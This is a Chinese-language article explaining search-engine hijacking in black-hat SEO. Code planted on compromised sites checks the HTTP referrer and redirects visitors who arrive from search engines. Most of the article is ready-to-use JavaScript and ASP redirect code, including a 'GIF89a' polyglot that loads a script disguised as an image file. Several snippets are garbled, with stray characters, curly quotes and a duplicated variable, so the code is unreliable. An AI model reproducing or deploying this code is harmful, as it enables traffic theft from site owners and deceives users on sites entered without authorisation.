搜索引擎劫持
定义
搜索引擎劫持简称搜索劫持,其实就是从搜索引擎来的流量自动跳转到指定的网页。可以通过未经用户授权,自动修改第三方搜索引擎结果的软件实现,通常这类程序会在第三方搜索引擎的结果中添加自己的广告或加入网站链接获取流量等。也可以通过如下搜索引擎劫持代码实现(属于黑帽SEO需要掌握被劫持网站权限,建议不要使用)。
搜索劫持源代码:if(window点name!=”窗口名”){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = ‘google.’;
var str7 = ‘baidu.’;
var str4 = ‘yahoo.’;
var str8 = ‘youdao.’;
var str9 = ‘sogou.’;
var str5 = ‘soso.’;
var str3 = ‘sdgb.’;
var str2 = ‘ifeng.’;
var str2 = ‘gougou.’;
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str2)>0 || str1.indexOf(str1)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)>0 || str1.indexOf(str5)>0 && “zh-cn”==navigator.systemLanguage)
{
self.location=”URL”;
window点name=”窗口名”;
}
}
引入流量
第一:正规站没流量和排名,不敢用黑链和黑帽,做垃圾站通过黑链和黑帽技术把核心关键词短时间做到搜索引擎首页,通过跳转到正规站来给正规站带来流量。
第二:一个正规站的关键词排名在百度前面,这些正规网站权重比较高,排名也比较靠前,通过非法植入网站程序,让搜索引擎来的流量跳转到自己正规站上面,手动输入则不会跳转,然而蜘蛛也会抓取该非法网站,并且误以为属于这个正规网站,于是照常收录,流量来的则是别人的正规站的流量,导致非法网站排名不断提高。
GIF89a="";
var d=document.referrer;
if ((d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)||(d.indexOf("%C6%F7")>0)){
document.writeln("<script src=域名.gif><\\/script>");
}
else{
window.location.href="index.asp"
}
以上这段代码显示通过HTTP Referrer来判断用户是从哪里来的。如果是用户手动输入的,则打开网站原来的index.asp页面;如果来自百度搜索,那就跳转到另一个文件。
var d=document.referrer;
if (d.indexOf("%CC%FD")>0 ||d.indexOf("%C6%F7")>0) {
self.location=域名;
window.opener.location=域名
};
这个文件里的代码在做判断,如果来自百度搜索结果,那就跳转到非法网站去,否则就不做操作。
但是JS打开页面,载入时,实在太慢,而且JS文件占带宽。
现在考虑如果用ASP怎么来判断。
现在用asp 编写。
<%
Dim from
from=Request.ServerVariables("HTTP_REFERER")
If from<>"" Then
Response.Redirect(域名/list/index.html)
Response.End()
End If
%>